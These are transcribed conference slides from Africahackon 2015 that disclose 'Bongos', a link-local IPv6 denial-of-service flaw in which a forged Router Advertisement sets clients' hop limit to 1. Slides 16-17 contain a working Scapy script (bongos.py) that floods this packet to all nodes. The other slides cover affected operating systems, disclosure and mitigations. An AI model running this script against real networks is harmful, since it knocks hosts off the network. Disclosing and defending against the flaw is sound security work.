bongos - modio2015-07-31 africahackon simple (ipv6) denial of service attack cross platform simple...

44
www.modio.se 2015-07-31 Africahackon Bongos It’s not the end of the Internet https://www.bongos.se/

Upload: others

Post on 31-Jul-2020

8 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

BongosIt’s not the end of the Internet

https://www.bongos.se/

Page 2: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

IPv6 at iHubiHub 1 and 2 has functional ipv6

https://ipv6.google.com/ - test

unix/Linux: ping6 ipv6.google.com

windows ping -t ipv6.google.com

iOS/Android: Apps.

Page 3: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

● Simple (IPv6) Denial of Service Attack○ Cross platform

● Simple to Exploit○ Link Local

Bongos: What is it

Page 4: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

IPv6: Some details

Things you need to know

Page 5: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

IPv6: Some details

Routing basics

Page 6: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

IPv6: Hop Limit

TTL in IPv4 was renamedHop Limit in IPv6

Page 7: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

IPv6: Hop Limit

All routers decrease hop limit by 1reject if 0

Page 8: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

IPv6: Neighbour Discovery

Things you need to know

Page 9: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

IPv6: Neighbour Discovery

Client & Router

Page 10: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

IPv6: Neighbour Discovery(short & incorrect)

Client: Asks for routesRouter: Advertises routes

Page 11: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

IPv6: Router Advertisement

ICMP Type ICMP Code Checksum

Cur Hop limit M|O|Reserved Router Lifetime

Reachable time

Retrans timer

Options

Page 12: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

IPv6: Router Advertisement

ICMP Type ICMP Code Checksum

Cur Hop limit M|O|Reserved Router Lifetime

Reachable time

Retrans timer

Options

Page 13: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

IPv6: Quoth the RFC

“If the received Cur Hop Limit value is non-zero, the host SHOULD set its CurHopLimit variable to the received value.”

Page 14: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

IPv6: But...

What if there’s nothing else in the Router Advertisement?

Page 15: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Exploit

Let’s see what happens!

Page 16: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Exploit: bongos.py

#!/bin/env python

import scapy.all

from scapy.layers.inet6 import *

ip = IPv6()

icmp = ICMPv6ND_RA()

Page 17: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Exploit: bongos.py

ip.dst = "ff02::1"

icmp.chlim = 1

send(ip/icmp, loop=True,inter=1)

Page 18: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Exploit: And then what?

Clients see RA packet and Apply the Hop Limit

Page 19: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Impact

Hop Limit is per interface

Page 20: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Impact

Hop Limit is suddenly 1

Page 21: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Impact

Hop Limit is suddenly 1

Globally

Page 22: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Impact

All outgoing packets get dropped at first router

Page 23: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Impact: Operating Systems Linux

( Android, RHEL, SuSE…) FreeBSD

( Juniper, PFSense) Apple OS X Apple iOS Microsoft Windows 8.x

Page 24: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Impact: Protection

RFC 3756:“….ignore very small hop limits.”

Page 25: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Reporting

Then what?

Page 26: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Reporting

Vendor sec / OSS sec

Page 27: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Reporting

CERT/CC!

Page 28: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Reporting

With patch!

Page 29: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Reporting

And PoC!

Page 30: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Reporting

Then silence

Page 31: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Reporting

45 days disclosure timeline

Page 32: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Reporting

Question about upstream

Page 33: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Reporting

OK to post patches!( 2 weeks )

Page 34: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Reporting

Patches are public( woups )

Page 35: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Reporting

Instant disclosure by CERT

Page 36: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Reporting

WOUPS

Page 37: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Reporting

CVE request

Page 38: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Reporting

It’s all open

Page 39: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Patch your OS:● Linux● BSD

Impact: Fixes

Page 40: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Patch your OS:● Android?● Apple?● Others?

Impact: Fixesworkarounds

Page 41: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Impact: Fixesworkarounds

Filter out RA packets● Switches● Firewalls● Wifi access points

Page 42: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Impact: Fixesworkarounds

Suspicious RA packets● Local firewall

Page 43: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Bongos: Recap

● Link Local● Cross Platform● Easy● Reporting still sucks

Page 44: Bongos - Modio2015-07-31 Africahackon  Simple (IPv6) Denial of Service Attack Cross platform Simple to Exploit Link Local Bongos: What is it

www.modio.se2015-07-31 Africahackon

Questions?

https://www.bongos.se/